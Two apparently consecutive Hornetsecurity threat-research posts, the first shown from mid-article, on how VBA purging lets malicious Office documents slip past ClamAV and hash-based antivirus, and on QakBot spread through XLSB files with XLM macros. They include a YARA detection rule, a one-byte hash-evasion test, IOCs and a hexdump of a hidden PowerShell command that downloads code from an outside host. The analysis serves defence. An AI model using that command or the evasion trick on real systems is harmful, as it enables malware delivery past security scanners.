In one of the maldocs we found a reference to Aviary for Android 4.8.4, a photo editing app for Android. It could be possible that these documents were generated or converted by an Android app which performs VBA purging. Here it is important to note that VBA purging in itself is not malicious. It saves disk storage by deleting a cache, which can be recreated from the CompressedSourceCode data. So there likely exist office software that performs VBA purging as part of optimizing office document file sizes.

Why is this dangerous?

Many email gateways use ClamAV as anti-virus scanner. When ClamAV scans an office document, it extracts the individual sub-files of the document. It does so for both modern OOXML documents (which are basically ZIP files) and OLE/CFB documents (which also feature a file system structure inside5). In this process it also extracts the module stream files we mentioned earlier.

It then searches the extracted files using byte patterns, e.g., to detect a malicious Emotet document variant they use the following signature:


For better understanding we convert the search patterns into a more readable YARA rule:

rule Doc_Malware_Emotet_9769220_0 {
        $a0 = "Attribute VB_Name = \"A1y9zgs7hfy5z"
        $a1 = "Document_open"
        $a2 = "V_871xt2noejh.M33sq7cmhet"
        $a0 and $a1 and $a2

From this we see that the rule matches on plain text VBA code (the attribute VB_Name that is automatically added by Office at the beginning of the macro, the sub routing name Document_open that instructs office to run this sub routine when the document is opened and a code snipped using two obfuscated variables V_871xt2noejh and M33sq7cmhet).

In a VBA purged document there (highly likely) is no Attribute VB_Name string (nor any of the other strings) in plain text, because only the CompressedSourceCode using a proprietary compression is available. Compression algorithms work by storing repeating patterns in a data stream more efficiently, e.g., the following attributes at the start of VBA code all contain repeating patterns:

Attribute VB_Name = "Lhc713a6y33gome"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False

So in compressed form Attribute would only be stored in plain text form once and all further occurrences of it are replaced with a shorter reference, so the previous VBA code snippet would turn into something like:

0001b0d0  41 74 74 72 69 62 75 74  00 65 20 56 42 5f 4e 61  |Attribut.e VB_Na|
0001b0e0  6d 00 65 20 3d 20 22 4c  68 63 00 37 31 33 61 36  |m.e = "Lhc.713a6|
0001b0f0  79 33 33 80 67 6f 6d 65  22 0d 0a 0a 98 08 42 61  |y33.gome".....Ba|
0001b100  73 02 98 31 4e 6f 72 00  6d 61 6c 2e 54 68 69 73  |s..1Nor.mal.This|
0001b110  00 44 6f 63 75 6d 65 6e  74 81 0d 56 47 6c 6f 62  |.Document..VGlob|
0001b120  61 6c 01 b0 10 53 70 61  63 01 6c 46 61 6c 04 73  |al...Spac.lFal.s|
0001b130  65 0c a2 43 72 65 61 74  08 61 62 6c 15 1f 50 72  |e..Creat.abl..Pr|

Hence any rule matching on Attribute (or any other string) would not match anymore as the string is split up, in this example, into Attribut, e VB_Nam, etc., substrings, that are then referenced again later in the data stream in order to save storage space, as storing the reference is smaller than the original repeated string.

Hence, if the document for which the above ClamAV rule matches would have its PerformanceCache removed ClamAV would not detect it anymore. This also affects other security tools relying on plain text VBA code in the PerformanceCache for their detection of malicious content.

While VBA purging is not widely used, we predict that is only a matter of time before this technique catches on and is misused in more sophisticated attacks. This means ClamAV or similar working solutions can not provide adequate protection anymore.

Seeing which vendors likely detect these VBA purged maldocs only by hash

We used VirusTotal to estimate how much the static detection capabilities of current anti-virus solutions is affected by VBA purging. To this end, we used a document that after around 7 hours is detected by 21 of 61 listed anti-virus solutions:


To check which anti-virus solution detects this document only by its hash, we appended a single X ASCII character byte to the file:

$ sha256sum test.xls 
038e0a602ddf37976cde6f57007fcf5c3f5f235cc025637b40303db38c3b4ec2  test.xls
$ echo -n 'X' >> test.xls
$ sha256sum test.xls
1c4d151611fb2866b2b0ed9c33f9e063fa77708e2c4a725d025cee5e96c14a41  test.xls

After this change 7 of the initial 21 anti-virus solutions do not detect the document anymore:

After (only 1 byte appended)

This indicates that these solutions do not detect the VBA purged document by its malicious VBA macro code, but only by its hash. A robust detection would not get tricked by appending a single byte, especially because the document structure was not changed at all.

This drop is especially astonishing as the tested document stored the powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass ... string in plain text inside a cell of the spreadsheet. Meaning the string is stored in pain text inside the document:

$ hexdump -C RFQ-752101222GPTR7\ -\ CEYLON\ STEEL\ CORPORATION\ LIMITED.xls
00007e20  00 00 00 02 00 00 00 f7  00 00 70 6f 77 65 72 73  |..........powers|
00007e30  68 65 6c 6c 2e 65 78 65  20 2d 57 69 6e 64 6f 77  |hell.exe -Window|
00007e40  53 74 79 6c 65 20 48 69  64 64 65 6e 20 2d 45 78  |Style Hidden -Ex|
00007e50  65 63 75 74 69 6f 6e 50  6f 6c 69 63 79 20 42 79  |ecutionPolicy By|
00007e60  70 61 73 73 20 20 2d 63  6f 6d 6d 61 6e 64 20 22  |pass  -command "|
00007e70  20 26 20 7b 20 69 77 72  20 68 74 74 70 73 3a 2f  | & { iwr https:/|
00007e80  2f 61 69 6d 73 6d 6f 74  69 6f 6e 2e 63 6f 6d 2e  |/|
00007e90  6d 79 2f 64 61 74 61 31  2f 69 6d 61 67 65 73 2f  |my/data1/images/|

Conclusion and Countermeasure

As we have seen VBA purging can evade detection by some security solutions. Many solutions seem to fallback to a hash-based detection because presumably their detection signatures rely on plain text VBA code in the PerformanceCache.

Hornetsecurity’s Advanced Threat Protection includes sophisticated VBA macro analyzers that, unlike ClamAV or other solutions, extracts the VBA macro code from the CompressedSourceCode of office documents. This way Hornetsecurity’s multi-layer approach to email attachment scanning will continue working even against VBA purged documents.


Indicators of Compromise (IOCs)


SHA1 Filename Description
016a4df3e4ac565ca0fd4d227d63e60009b3d385 RFQ-752101222GPTR7 - CEYLON STEEL CORPORATION LIMITED.xls Original VBA Purging maldoc used in VT test
eb4010a4aca2411a64db9f3554bb2476c71a1be9 test.xls Manipulate VBA Purgning maldoc used in VT test
QakBot distributed by XLSB files

QakBot distributed by XLSB files


The Hornetsecurity Security Lab has detected usage of XLM macros within XLSB documents to distributed the QakBot malware. Because both XLM macros as well as the XLSB document format being uncommon these new malicious documents have a very low static detection rate by current anti-virus solutions.


QakBot (also known as QBot, QuakBot, Pinkslipbot) has been around since 2008. It is distributed via Emotet, i.e., Emotet will download the QakBot loader onto victims that are already infected with Emotet. But it is also distributed directly via email. To this end, it uses email conversation thread hijacking in its campaigns1, i.e., it will reply to emails that it finds in its victim’s mailboxes. QakBot is known to escalate intrusions by downloading the ProLock ransomware2.

The following timeline shows recent events relating to QakBot:

QakBot event timeline

QakBot’s chain of infection is as follows:

QakBot's chain of infection

QakBot has been using XLM macros (also known as Excel 4 macros) for quiet sometime.

Technical Analysis

On 2020-10-15 at around 12:40 UTC a malspam campaign distributing QakBot using XLSB documents was observed.

XLSB is an Excel Binary Workbook file. Its main use is to make reading from and written to the file much faster and reducing the size of very large spreadsheets. However, with current computing power and storage availability the need for this binary format diminished and today they are seldom used.

Combining this with the ancient and thus also not very well detected XLM macros causes the current documents to not be recognized by any AV listed on VirusTotal:

QakBot XLSB document not detected on VirusTotal

Also common document malware analysis tools such as OLEVBA do not recognize the XLM macros in the XLSB format:

QakBot XLSB document not detected by OLEVBA

Though, support for XLM macros in XLSB files is on OLEVBA’s roadmap3.

Even the tool XLMMacroDeobfuscator (specialized on analyzing malicious XLM macros), which supports the XLSB format4, has problems with QakBot’s XLSB file:

QakBot XLSB document not detected by XLMMacroDeobfuscator

But as usual the bug in XLMMacroDeobfuscator was quickly worked on5.

The QakBot XLSB files are delivered via the classic QakBot email conversation thread hijacking1 in an attached ZIP file:

QakBot email delivering XLSB file

The ZIP file contains the XLSB document, which when opened pretends to be a encrypted by DocuSign and the user needs to “Enable Editing” and “Enable Content” to decrypt it:

QakBot XLSB document

When the user does so a Auto_Open XLM macro in the document is launched, which will download the QakBot loader:

QakBot XLM macro

The URL is a assembled via the XLM macro and pretends to download an PNG file:

QakBot loader download disguised as PNG download

In reality the PNG file is the QakBot loader executable. Hornetsecurity has previously reported on the QakBot loader and follow up malware such as ProLock ransomware2.

Conclusion and Countermeasure

Like the reemergence of the ancient and nowadays less common XLM macros used by malicious actors, the use of the uncommon XLSB documents again leads to lower detection rates by security solutions, which are mostly focused on the more common modern VBA macro malware.

However, Hornetsecurity’s fast response time to new emerging threats and zero-day malware protection provides its customers a robust shield against never-before-seen malspam campaigns and new attack types. Users of Hornetsecurity’s Spam and Malware Protection are protected against the QakBot XLSB document.


Indicators of Compromise (IOCs)


MD5 Filename
ebd0e8581800059d451ed9969502ba53 Comission_1587332740_10142020.xlsb


  • hxxp[:]//thomastongralestate[.]com/skywkc/3415201.png


  • thomastongralestate[.]com


MITRE ATT&CK Tactics and Techniques used by QakBot:

Tactic Technique
TA0001 – Initial Access T1566.001 – Spearphishing Attachment
TA0001 – Initial Access T1566.002 – Spearphishing Link
TA0002 – Execution T1027 – Obfuscated Files or Information
TA0002 – Execution T1059.005 – Visual Basic
TA0002 – Execution T1204.002 – Malicious File
TA0003 – Persistence T1053.005 – Scheduled Task
TA0003 – Persistence T1547.001 – Registry Run Keys / Startup Folder
TA0004 – Privilege Escalation T1053.005 – Scheduled Task
TA0005 – Defense Evasion T1027.002 – Software Packing
TA0005 – Defense Evasion T1055 – Process Injection
TA0005 – Defense Evasion T1055.012 – Process Hollowing
TA0005 – Defense Evasion T1497.001 – System Checks
TA0006 – Credential Access T1003 – OS Credential Dumping
TA0006 – Credential Access T1110.001 – Password Guessing
TA0006 – Credential Access T1555.003 – Credentials from Web Browsers
TA0007 – Discovery T1016 – System Network Configuration Discovery
TA0011 – Command and Control T1071.001 – Web Protocols
TA0011 – Command and Control T1090 – Proxy
TA0011 – Command and Control T1090.002 – External Proxy